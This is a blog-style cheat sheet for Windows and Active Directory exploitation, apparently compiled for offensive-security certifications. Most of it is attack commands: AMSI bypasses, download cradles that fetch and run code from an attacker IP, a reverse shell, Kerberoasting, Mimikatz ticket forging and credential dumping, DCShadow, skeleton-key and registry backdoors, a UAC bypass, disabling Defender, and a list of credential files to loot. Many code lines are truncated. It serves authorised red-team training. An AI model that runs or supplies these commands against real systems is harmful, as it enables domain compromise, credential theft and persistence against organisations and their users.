23 minutes

Windows & Active Directory Exploitation Cheat Sheet and Command Reference by Cas van Cooten

Table of Contents

*Updated **March 8th, 2021***

This blog post has been updated based on some tools and techniques from Offensive Security's PEN-300 course (for the accompanying OSEP certification). Notable changes have been made in the sections on delegation, inter-forest exploitation, and lateral movement through MSSQL servers. Some other changes and clarifications have been made throughout the post.

Since I recently completed my CRTP and CRTE exams, I decided to compile a list of my most-used techniques and commands for Microsoft Windows and Active Directory (post-)exploitation. It is largely aimed at completing these two certifications, but should be useful in a lot of cases when dealing with Windows / AD exploitation.

That being said - it is *far from* an exhaustive list. If you feel any important tips, tricks, commands or techniques are missing from

this list just get in touch. I will try to keep it updated as much as possible!

Many items of this list are shamelessly stolen from Nikhil Mittal and the CRTP/CRTE curricula, so big thanks to them! If you are looking for the cheat sheet and command reference I used for OSCP, please refer to this post.

Note: I tried to highlight some poor OpSec choices for typical red teaming engagements with 🏳. I will likely have missed some though, so, understand what you are running before you run it!

General

PowerShell AMSI Bypass

Patching AMSI will help bypass AV warnings triggered when executing PowerShell scripts that are marked as malicious (such as PowerView). Do not use as is in covert operations, as they will get flagged 🏳. Obfuscate, or even better, eliminate the need for an AMSI bypass altogether by altering your scripts to beat signature based detection.

'Plain' AMSI bypass:

```
[Ref].Assembly.GetType('System.Management.Automation.Ams
```

Obfuscation example for copy-paste purposes:

```
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [T
```

Another bypass, which is not detected by PowerShell autologging:

```
[Delegate]::CreateDelegate(("Func``3[String, $(([String]
```

> More bypasses here. For obfuscation, check Invoke-Obfuscation, or get a pre-generated obfuscated version at amsi.fail.

PowerShell one liners

Load PowerShell script reflectively

Proxy aware:

```
IEX (New-Object Net.WebClient).DownloadString('http://10
```

Non-proxy aware:

```
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('G
```

> Again, this will likely get flagged 🏳. For opsec-safe download cradles, check out Invoke-CradleCrafter.

Load C# assembly reflectively

Ensure that the referenced class and main methods are Public before running this. Note that a process-wide AMSI bypass may be required for this, refer here for details.

```
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main("".Split())

# Download and run Rubeus, with arguments
$data = (New-Object System.Net.WebClient).DownloadData('
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d96

# Execute a specific method from an assembly (e.g. a DLL
$data = (New-Object System.Net.WebClient).DownloadData('
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```

Download file

```
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://1

# Powershell 4+
## You can use 'IWR' as a shorthand
Invoke-WebRequest "http://10.10.16.7/Incnspc64.exe" -Out
```

Encode command

Encode one-liner:

```
$command = 'IEX (New-Object Net.WebClient).DownloadStrin
$bytes = [System.Text.Encoding]::Unicode.GetBytes($comma
$encodedCommand = [Convert]::ToBase64String($bytes)
```

Encode existing script, copy to clipboard:

```
[System.Convert]::ToBase64String([System.IO.File]::ReadA
```

Run it, bypassing execution policy.

```
Powershell -EncodedCommand $encodedCommand
```

> If you have Nishang handy, you can use Invoke-Encode.ps1.

Enumeration

AD Enumeration With PowerView

```
# Get all users in the current domain
Get-NetUser | select -ExpandProperty cn
```

```
# Get all computers in the current domain
Get-NetComputer

# Get all domains in current forest
Get-NetForestDomain

# Get domain/forest trusts
Get-NetDomainTrust
Get-NetForestTrust

# Get information for the DA group
Get-NetGroup -GroupName "Domain Admins"

# Find members of the DA group
Get-NetGroupMember -GroupName "Domain Admins" | select -

# Find interesting shares in the domain, ignore default
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -Exclu

# Get OUs for current domain
Get-NetOU -FullData

# Get computers in an OU
# %{} is a looping statement
Get-NetOU -OUName StudentMachines | %{Get-NetComputer -A

# Get GPOs applied to a specific OU
Get-NetOU *student* | select gplink
Get-NetGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}

# Get Restricted Groups set via GPOs, look for interesti
Get-NetGPOGroup

# Get incoming ACL for a specific object
Get-ObjectACL -SamAccountName "Domain Admins" -ResolveGU

# Find interesting ACLs for the entire domain, show in a
Find-InterestingDomainAcl | select identityreferencename
```

```
# Get interesting outgoing ACLs for a specific user or g
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityR
```

AppLocker

Identify AppLocker policy. Look for exempted binaries or paths to bypass.

```
Get-AppLockerPolicy -Effective | select -ExpandProperty
```

Some high-level bypass techniques:

- Use LOLBAS if only (Microsoft-)signed binaries are allowed.
- If binaries from `C:\Windows` are allowed, try dropping your binaries to `C:\Windows\Temp` or `C:\Windows\Tasks`. If there are no writable subdirectories but writable files exist in this directory tree, write your file to an alternate data stream (e.g. a JScript script) and execute it from there.
- Wrap your binaries in a DLL file and execute them with `rundll32` to bypass executable rules. If binaries like Python are allowed, use that. If that doesn't work, try other techniques such as wrapping JScript in a HTA file or running XSL files with `wmic`.

LAPS

We can use LAPSToolkit.ps1 to identify which machines in the domain use LAPS, and which domain groups are allowed to read LAPS passwords. If we are in this group, we can get the current LAPS passwords using this tool as well.

```
# Get computers running LAPS, along with their passwords
Get-LAPSComputers

# Get groups allowed to read LAPS passwords
Find-LAPSDelegatedGroups
```

Exploitation

Powercat reverse shell

If a reverse shell to your Linux box is not an option ;).

```
powercat -l -p 443 -t 9999
```

Lateral Movement

Lateral Movement Enumeration With PowerView

```
# Find existing local admin access for user (noisy 🚩)
Find-LocalAdminAccess

# Find local admin access over PS remoting (also noisy 🚩
Get-NetComputer -Domain dollarcorp.moneycorp.local > .\t
Find-PSRemotingLocalAdminAccess -ComputerFile .\targets.

# Same for WMI. Requires 'Find-WMILocalAdminAccess.ps1',
Find-WMILocalAdminAccess -ComputerFile .\targets.txt
Find-WMILocalAdminAccess # Finds domain computers automa

# Hunt for sessions of interesting users on machines whe
Invoke-UserHunter -CheckAccess | ?{$_.LocalAdmin -Eq Tru

# Look for kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname

# Look for AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name

# Look for users on which we can set UserAccountControl
## If available - disable preauth or add SPN (see below)
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference

# Look for servers with Unconstrained Delegation enabled
## If available and you have admin privs on this server,
Get-DomainComputer -Unconstrained
```

```
# Look for users or computers with Constrained Delegatio
## If available and you have user/computer hash, access
Get-DomainUser -TrustedToAuth | select userprincipalname
Get-DomainComputer -TrustedToAuth | select name,msds-all
```

BloodHound

Use `Invoke-BloodHound` from `SharpHound.ps1`, or use `SharpHound.exe`. Both can be ran reflectively, get them here.

```
# Run all checks if you don't care about OpSec 🏳
Invoke-BloodHound -CollectionMethod All

# Running LoggedOn separately sometimes gives you more s
Invoke-BloodHound -CollectionMethod LoggedOn
```

Kerberoasting

Automatic

With PowerView:

```
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.m
```

Crack the hash with Hashcat:

```
hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules
```

Manual

```
# Request TGS for kerberoastable account (SPN)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestor

# Dump TGS to disk
```

```
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack with TGSRepCrack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssql
```

Targeted kerberoasting by setting SPN

We need ACL write permissions to set UserAccountControl flags for said user, see above for hunting. Using PowerView:

```
Set-DomainObject -Identity support355user -Set @{service
```

AS-REP roasting

Get the hash for a roastable user (see above for hunting). Using `ASREPRoast.ps1`:

```
Get-ASREPHash -UserName VPN355user
```

Crack the hash with Hashcat:

```
hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules
```

Targeted AS-REP roasting by disabling Kerberos pre-authentication

We need ACL write permissions to set UserAccountControl flags for said user, see above for hunting. Uses PowerView.

```
Set-DomainObject -Identity Control355User -XOR @{useracc
```

Token Manipulation

Tokens can be impersonated from other users with a session/running processes on the machine. A similar effect can

be achieved by using e.g. CobaltStrike to inject into said processes.

Incognito

```
# Show tokens on the machine
.\incognito.exe list_tokens -u

# Start new process with token of a specific user
.\incognito.exe execute -c "domain\user" C:\Windows\syst
```

> If you're using Meterpreter, you can use the built-in Incognito module with `use incognito`, the same commands are available.

Invoke-TokenManipulation

```
# Show all tokens on the machine
Invoke-TokenManipulation -ShowAll

# Show only unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate

# Start new process with token of a specific user
Invoke-TokenManipulation -ImpersonateUser -Username "dom

# Start new process with token of another process
Invoke-TokenManipulation -CreateProcess "C:\Windows\syst
```

Mimikatz

```
# Overpass the hash
sekurlsa::pth /user:Administrator /domain:domain.local /

# Golden ticket (domain admin, w/ some ticket properties
kerberos::golden /user:Administrator /domain:domain.loca
```

```
# Silver ticket for a specific SPN with a compromised se
kerberos::golden /user:Administrator /domain:domain.loca
```

> A list of available SPNs for silver tickets can be found here. Another nice overview for SPNs relevant for offensive is provided here.

Command execution with schtasks

Requires 'Host' SPN

To create a task:

```
# Mind the quotes. Use encoded commands if quoting becom
schtasks /create /tn "shell" /ru "NT Authority\SYSTEM" /
```

To trigger it:

```
schtasks /RUN /TN "shell" /s dcorp-dc.dollarcorp.moneyco
```

Command execution with WMI

Requires 'Host' and 'RPCSS' SPNs

From Windows

```
Invoke-WmiMethod win32_process -ComputerName dcorp-dc.do
```

From Linux

```
# with password
impacket-wmiexec dcorp/student355:password@172.16.4.101

# with hash
impacket-wmiexec dcorp/student355@172.16.4.101 -hashes :
```

Command execution with PowerShell Remoting

Requires 'CIFS', 'HTTP' and 'WSMAN' SPNs

> This one is a bit tricky. A combination of the above SPNs may or may not work - also PowerShell may require the exact FQDN to be provided.

```
# Create credential to run as another user (if needed, n
# Leave out -Credential $Cred in the below commands if n
$SecPassword = ConvertTo-SecureString 'thePassword' -AsP
$Cred = New-Object System.Management.Automation.PSCreden

# Run a command remotely (can be used one-to-many!)
Invoke-Command -Credential $Cred -ComputerName $computer

# Launch a session as another user (prompt for password)
Enter-PsSession -Credential $Cred -ComputerName $compute

# Create a persistent session (will remember variables e
$sess = New-PsSession -Credential $Cred
Invoke-Command -Session $sess -FilePath c:\path\to\file.
Enter-PsSession -Session $sess

# Copy files to or from an active PowerShell remoting se
Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess2
```

Unconstrained delegation

Can be set on a *frontend service* (e.g., IIS web server) to allow it to delegate on behalf of the user to *any service in the domain* (towards a *backend service*, such as an MSSQL database).

DACL UAC property: `TrustedForDelegation` .

Exploitation

With administrative privileges on a server with Unconstrained Delegation set, we can dump the TGTs for other users that have a connection. With Mimikatz:

```
sekurlsa::tickets /export
kerberos::ptt c:\path\to\ticket.kirbi
```

Or with Rubeus:

```
.\Rubeus.exe klist
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:doIFSDCC[...]
```

We can also gain the hash for a domain controller machine account, if that DC is vulnerable to the printer bug. On the server with Unconstrained Delegation, monitor for new tickets with Rubeus.

```
.\Rubeus.exe monitor /interval:5 /nowrap
```

From attacking machine, entice the Domain Controller to connect using the printer bug. Binary from here.

```
.\MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dc
```

The TGT for the machine account of the DC should come in in the first session. We can pass this ticket to gain DCSync privileges.

```
.\Rubeus.exe ptt /ticket:doIFxTCCBc...
```

Constrained delegation

Constrained delegation can be set on the *frontend server* (e.g. IIS) to allow it to delegate to *only selected backend services* (e.g. MSSQL) on behalf of the user.

DACL UAC property: `TrustedToAuthForDelegation`. This allows `s4u2self`, i.e. requesting a TGS on behalf of *anyone* to oneself, using just the NTLM password hash. This effectively allows the service to impersonate other users in the domain with just their

hash, and is useful in situations where Kerberos isn't used between the user and frontend.

DACL Property: `msDS-AllowedToDelegateTo`. This property contains the SPNs it is allowed to use `s4u2proxy` on, i.e. requesting a forwardable TGS for that server based on an existing TGS (e.g. the one gained from using `s4u2self`). This effectively defines the backend services that constrained delegation is allowed for.

NOTE: These properties do NOT have to exist together! If `s4u2proxy` is allowed without `s4u2self`, user interaction is required to get a valid TGS to the frontend service from a user, similar to unconstrained delegation.

Exploitation

In this case, we use Rubeus to automatically request a TGT and then a TGS with the `ldap` SPN to allow us to DCSync using a machine account.

```
# Get a TGT using the compromised service account with d
.\Rubeus.exe asktgt /user:sa_with_delegation /domain:dom

# Use s4u2self and s4u2proxy to impersonate the DA user
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:

# Same as above, but access the LDAP service on the DC (
.\Rubeus.exe s4u /user:sa_with_delegation /impersonateus
```

Resource-based constrained delegation

Resource-Based Constrained Delegation (RBCD) configures the *backend server* (e.g. MSSQL) to allow *only selected frontend services* (e.g. IIS) to delegate on behalf of the user. This makes it easier for specific server administrators to configure delegation, without requiring domain admin privileges.

DACL Property: `msDS-AllowedToActOnBehalfOfOtherIdentity`.

In this scenario, `s4u2self` and `s4u2proxy` are used as above to request a forwardable ticket on behalf of the user. However, with RBCD, the KDC checks if the SPN for the requesting service (i.e., the *frontend service*) is present in the `msDS-AllowedToActOnBehalfOfOtherIdentity` property of the *backend service*. This means that the *frontend service* needs to have an SPN set. Thus, attacks against RBC have to be performed from either a service account with SPN or a machine account.

Exploitation

If we compromise a *frontend service* that appears in the RBCD property of a *backend service*, exploitation is the same as with constrained delegation above. This is however not too common.

A more often seen attack to RBCD is when we have `GenericWrite`, `GenericAll`, `WriteProperty`, or `WriteDACL` permissions to a computer object in the domain. This means we can write the `msDS-AllowedToActOnBehalfOfOtherIdentity` property on this machine account to add a controlled SPN or machine account to be trusted for delegation. We can even create a new machine account and add it. This allows us to compromise the target machine in the context of any user, as with constrained delegation above.

```
# Create a new machine account using PowerMad
New-MachineAccount -MachineAccount InconspicuousMachineA

# Get SID of our machine account and bake raw security d
$sid = Get-DomainComputer -Identity InconspicuousMachine
$SD = New-Object Security.AccessControl.RawSecurityDescr
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)

# Use PowerView to use our GenericWrite (or similar) pri
Get-DomainComputer -Identity TargetSrv01 | Set-DomainObj

# Finally, use Rubeus to exploit RBCD to get a TGS as ad
.\Rubeus.exe s4u /user:InconspicuousMachineAccount$ /rc4
```

Abusing domain trust

Must be run with DA privileges.

Using domain trust key

From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter realm TGT using Mimikatz, adding the SID for the target domain's enterprise admins group to our 'SID history'.

```
kerberos::golden /domain:dollarcorp.moneycorp.local /sid
```

Pass with Rubeus.

> Make sure you have the right version of Rubeus. For some reason, some of my compiled binaries were giving the error `KDC_ERR_WRONG_REALM`, while the CRTP-provided version worked without issue.

```
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kir
```

We can now DCSync the target domain (see below).

Using krbtgt hash

From the DC, dump the krbtgt hash using e.g. DCSync or LSADump. Then, using this hash, forge an inter-realm TGT using Mimikatz, as with the previous method.

Use a SID History (`/sids`) of `*-516` and `S-1-5-9` to disguise as the Domain Controllers group and Enterprise Domain Controllers respectively, to be less noisy in the logs.

```
kerberos::golden /domain:dollarcorp.moneycorp.local /sid
```

> If you are having issues creating this ticket, try adding the 'target' flag, e.g. `/target:moneycorp.local` .

Alternatively, generate a domain admin ticket with SID history of EA group.

```
kerberos::golden /user:Administrator
/domain:dollarcorp.moneycorp.local /sid:S-1-5-21-
1874506631-3219952063-538504511
/krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-
280534878-1496970234-700767426-519 /ptt
```

We can now immediately DCSync the target domain, or get a reverse shell using e.g. scheduled tasks.

Abusing inter-forest trust

Since a forest is a security boundary, we can only access domain services that have been shared with the domain we have compromised (our source domain). Use e.g. BloodHound to look for users that have an account (with the same username) in both forests and try password re-use. Additionally, we can use PowerView to hunt for foreign group memberships between forests.

```
Get-DomainForeignGroupMember -domain corp2.com
```

In some cases, it is possible that SID filtering (the protection causing the above), is *disabled* between forests. If you run `Get-DomainTrust` and you see the `TREAT_AS_EXTERNAL` property, this is the case! In this case, you can abuse the forest trust like a domain trust, as described above. Note that you still can *NOT* forge a ticket for any SID between `500` and `1000` though, so you can't become DA (not even indirectly through group inheritance). In this case, look for groups that grant e.g. local admin on the domain controller or similar non-domain privileges. For more information, refer to this blog post.

To impersonate a user from our source domain to access services in a foreign domain, we can do the following. Extract inter-forest

trust key as in ‘Using domain trust key’ above.

Use Mimikatz to generate a TGT for the target domain using the trust key:

```
Kerberos::golden /user:Administrator /service:krbtgt /do
```

Then, use Rubeus to ask a TGS for e.g. the `CIFS` service on the target DC using this TGT.

```
.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi
```

Now we can use the CIFS service on the target forest’s DC as the DA of our source domain (again, as long as this trust was configured to exist).

Abusing MSSQL databases for lateral movement

MSSQL databases can be linked, such that if you compromise one you can execute queries (or even commands!) on others in the context of a specific user (`sa` maybe? 😸). This can even work across forests! If we have SQL execution, we can use the following commands to enumerate database links.

```
-- Find linked servers
EXEC sp_linkedservers

-- Run SQL query on linked server
select mylogin from openquery("dc01", 'select SYSTEM_USE

-- Enable 'xp_cmdshell' on remote server and execute com
EXEC ('sp_configure ''show advanced options'', 1; reconf
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT
EXEC ('xp_cmdshell ''whoami'' ') AT DC01
```

We can also use PowerUpSQL to look for databases within the domain, and gather further information on (reachable) databases. We can also automatically look for, and execute queries or

commands on, linked databases (even through multiple layers of database links).

```
# Get MSSQL databases in the domain, and test connectivi
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded |

# Try to get information on all domain databases
Get-SQLInstanceDomain | Get-SQLServerInfo

# Get information on a single reachable database
Get-SQLServerInfo -Instance dcorp-mssql

# Scan for MSSQL misconfigurations to escalate to SA
Invoke-SQLAudit -Verbose -Instance UFC-SQLDEV

# Execute SQL query
Get-SQLQuery -Query "SELECT system_user" -Instance UFC-S

# Run command (requires XP_CMDSHELL to be enabled)
Invoke-SQLOSCmd -Instance devsrv -Command "whoami" |  se

# Automatically find all linked databases
Get-SqlServerLinkCrawl -Instance dcorp-mssql | select in

# Run command if XP_CMDSHELL is enabled on any of the li
Get-SqlServerLinkCrawl -Instance dcorp-mssql -Query 'EXE

Get-SqlServerLinkCrawl -Instance dcorp-mssql -Query 'EXE
```

If you have low-privileged access to a MSSQL database and no links are present, you could potentially force NTLM authentication by using the `xp_dirtree` stored procedure to access this share. If this is successful, the NetNTLM for the SQL service account can be collected and potentially cracked or relayed to compromise machines as that service account.

```
EXEC master..xp_dirtree "\\192.168.49.67\share"
```

Example command to relay the hash to authenticate as local admin (if the service account has these privileges) and run `calc.exe`. Leave out the `-c` parameter to attempt a `secretsdump` instead.

```
sudo impacket-ntlmrelayx --no-http-server -smb2support -
```

Privilege Escalation

For more things to look for (both Windows and Linux), refer to my OSCP cheat sheet and command reference.

PowerUp

```
# Check for vulnerable programs and configs
Invoke-AllChecks

# Exploit vulnerable service permissions (does not requi
Invoke-ServiceAbuse -Name "AbyssWebServer" -Command "net

# Exploit vulnerable service permissions to trigger stab
Write-ServiceBinary -Name 'AbyssWebServer' -Command 'c:\
net stop AbyssWebServer
net start AbyssWebServer
```

UAC Bypass

Using SharpBypassUAC.

```
# Generate EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon

# Use SharpBypassUAC e.g. from a CobaltStrike beacon
beacon> execute-assembly /opt/SharpBypassUAC/SharpBypass
```

In some cases, you may get away better with running a manual UAC bypass, such as the FODHelper bypass which is quite simple to execute in PowerShell.

```
# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"

# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settin
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settin

# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -Windo

# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recur
```

Persistence

Startup folder

Just drop a binary. Classic 😇🏳

In current user folder, will trigger when current user signs in:

```
c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\St
```

Or in the startup folder, requires administrative privileges but will trigger as SYSTEM on boot *and* when any user signs on:

```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Sta
```

Domain Persistence

Must be run with DA privileges.

Mimikatz skeleton key attack

Run from DC. Enables password “mimikatz” for all users 🏳.

```
privilege::debug
misc::skeleton
```

Grant specific user DCSync rights with PowerView

Gives a user of your choosing the rights to DCSync at any time. May evade detection in some setups.

```
Add-ObjectACL -TargetDistinguishedName "dc=dollarcorp,dc
```

Domain Controller DSRM admin

The DSRM admin is the local administrator account of the DC. Remote logon needs to be enabled first.

```
New-ItemProperty "HKLM:\System\CurrentControlSet\Control
```

Now we can login remotely using the local admin hash dumped on the DC before (with `lsadump::sam`, see 'Dumping secrets with Mimikatz' below). Use e.g. 'overpass the hash' to get a session (see 'Mimikatz' above).

Modifying security descriptors for remote WMI access

Give user WMI access to a machine, using `Set-RemoteWMI.ps1` cmdlet. Can be run to persist access to e.g. DCs.

```
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc.
```

For execution, see 'Command execution with WMI' above.

Modifying security descriptors for PowerShell Remoting access

Give user PowerShell Remoting access to a machine, using `Set-RemotePSRemoting.ps1` cmdlet. Can be run to persist access to e.g. DCs.

```
Set-RemotePSRemoting -UserName student1 -ComputerName dc
```

For execution, see 'Command execution with PowerShell Remoting' above.

Modifying DC registry security descriptors for remote hash retrieval using DAMP

Using DAMP toolkit, we can backdoor the DC registry to give us access on the `SAM`, `SYSTEM`, and `SECURITY` registry hives. This allows us to remotely dump DC secrets (hashes).

We add the backdoor using the `Add-RemoteRegBackdoor.ps1` cmdlet from DAMP.

```
Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.
```

Dump secrets remotely using the `RemoteHashRetrieval.ps1` cmdlet from DAMP (run as 'Trustee' user).

```
# Get machine account hash for silver ticket attack
Get-RemoteMachineAccountHash -ComputerName dcorp-dc

# Get local account hashes
Get-RemoteLocalAccountHash -ComputerName dcorp-dc

# Get cached credentials (if any)
Get-RemoteCachedCredential -ComputerName dcorp-dc
```

DCShadow

DCShadow is an attack that masks certain actions by temporarily imitating a Domain Controller. If you have Domain Admin or Enterprise Admin privileges in a root domain, it can be used for forest-level persistence.

Optionally, as Domain Admin, give a chosen user the privileges required for the DCShadow attack (uses `Set-DCShadowPermissions.ps1` cmdlet).

```
Set-DCShadowPermissions -FakeDC mcorp-student35 -SamAcco
```

Then, from any machine, use Mimikatz to stage the DCShadow attack.

```
# Set SPN for user
lsadump::dcshadow /object:root355user /attribute:service

# Set SID History for user (effectively granting them En
lsadump::dcshadow /object:root355user /attribute:SIDHist

# Set Full Control permissions on AdminSDHolder containe
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDA

## Then get target user SID:
Get-NetUser -UserName student355 | select objectsid

## Finally, add full control primitive (A;;CCDCLCSWRPWPL
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=
```

Finally, from either a DA session OR a session as the user provided with the DCShadowPermissions before, run the DCShadow attack. Actions staged previously will be performed without leaving logs 😈

```
lsadump::dcshadow /push
```

Post-Exploitation

Dumping secrets with Mimikatz

```
# Dump logon passwords
sekurlsa::logonpasswords

# Dump all domain hashes from a DC
## Note: Everything with /patch is noisy as heck since i
```

```
lsadump::lsa /patch

# Dump only local users
lsadump::sam

# DCSync (requires 'ldap' SPN)
lsadump::dcsync /user:dcorp\krbtgt /domain:dollarcorp.mo
```

Windows Credential Vault dumping

> I've had some issues using this with `Invoke-Mimikatz.ps1` . Try with native Mimikatz if having issues.

```
# Dump windows secrets, such as stored creds for
scheduled tasks (elevate first)
vault::list
vault::cred /patch

# Dump windows secrets DPAPI method (less noise and no
specific rights reqd yay)
## More here:
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-
credential-manager-saved-credentials
## First, get GUID of master key for specific secret
dpapi::cred
/in:C:\Users\appadmin\AppData\local\Microsoft\Credential
s\DFBE70A7E5CC19A398EBF1B96859CE5D

## EITHER Grab dpapi keys from LSASS
sekurlsa::dpapi

## OR Grab and cache a specific key
dpapi::masterkey /rpc
/in:C:\Users\appadmin\AppData\Roaming\Microsoft\Protect\
S-1-5-21-3965405831-1015596948-2589850225-1118\a89b97d2-
b520-462d-a924-d57df68c543b

## Mimikatz will cache the master key (check with
dpapi::cache)
```

```
## Then run the initial dpapi::cred command again to get
the juice!
```

Dumping secrets without Mimikatz

We can also parse system secrets without using Mimikatz on the target system directly.

Dumping LSASS

The preferred way to run Mimikatz is to do it locally with a dumped copy of LSASS memory from the target. Dumpert, Procdump, or other (custom) tooling can be used to dump LSASS memory.

```
# Dump LSASS memory through a process snapshot (-r), avo
.\procdump.exe -r -ma lsass.exe lsass.dmp
```

After downloading the memory dump file on our attacking system, we can run Mimikatz and switch to 'Minidump' mode to parse the file as follows.

```
sekurlsa::minidump lsass.dmp
```

After this, we can run Mimikatz commands as usual.

Dumping secrets from the registry

We can dump secrets from the registry and parse the files "offline" to get a list of system secrets. 🏳

On the target, we run the following:

```
reg.exe save hklm\sam c:\users\public\downloads\sam.save
reg.exe save hklm\system c:\users\public\downloads\syste
reg.exe save hklm\security c:\users\public\downloads\sec
```

Then on our attacking box we can dump the secrets with Impacket:

```
impacket-secretsdump -sam sam.save -system system.save -
```

Dumping secrets from a Volume Shadow Copy

We can also create a "Volume Shadow Copy" of the `SAM` and `SYSTEM` files (which are always locked on the current system), so we can still copy them over to our local system. An elevated prompt is required for this.

```
wmic shadowcopy call create Volume='C:\'
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\win
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\win
```

Disable defender

👀🚩

```
Set-MpPreference -DisableRealtimeMonitoring $true

Set-MpPreference -DisableIOAVProtection $true
```

Or leave Defender enabled, and just remove the signatures from it.

```
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Remove
```

Chisel proxying

Just an example on how to set up a Socks proxy to chisel over a compromised host. There are many more things you can do with Chisel!

On attacker machine (Linux or Windows):

```
./chisel server -p 8888 --reverse
```

On target:

```
.\chisel_windows_386.exe client 10.10.16.7:8888 R:8001:1
```

Now we are listening on `localhost:8001` on our attacking machine to forward that traffic to `target:9001`.

Then, open the Socks server. On target:

```
.\chisel_windows_386.exe server -p 9001 --socks5
```

On attacking machine:

```
./chisel client localhost:8001 socks
```

A proxy is now open on port 1080 of our attacking machine.

Juicy files

There are lots of files that may contain interesting information. Tools like WinPEAS or collections like PowerSploit may help in identifying juicy files (for privesc or post-exploitation).

Below is a list of some files I have encountered to be of relevance. Check files based on the programs and/or services that are installed on the machine.

> In addition, don't forget to enumerate any local databases with `sqlcmd` or `Invoke-SqlCmd`!

```
# All user folders
## Limit this command if there are too many files ;)
tree /f /a C:\Users

# Web.config
C:\inetpub\www\*\web.config
```

```
# Unattend files
C:\Windows\Panther\Unattend.xml

# RDP config files
C:\ProgramData\Configs\

# Powershell scripts/config files
C:\Program Files\Windows PowerShell\

# PuTTy config
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty

# FileZilla creds
C:\Users\
[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml

# Jenkins creds (also check out the Windows vault, see
above)
C:\Program Files\Jenkins\credentials.xml

# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml

# TightVNC password (convert to Hex, then decrypt with
e.g.: https://github.com/frizb/PasswordDecrypts)
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -
Name "Password" | select -ExpandProperty Password
```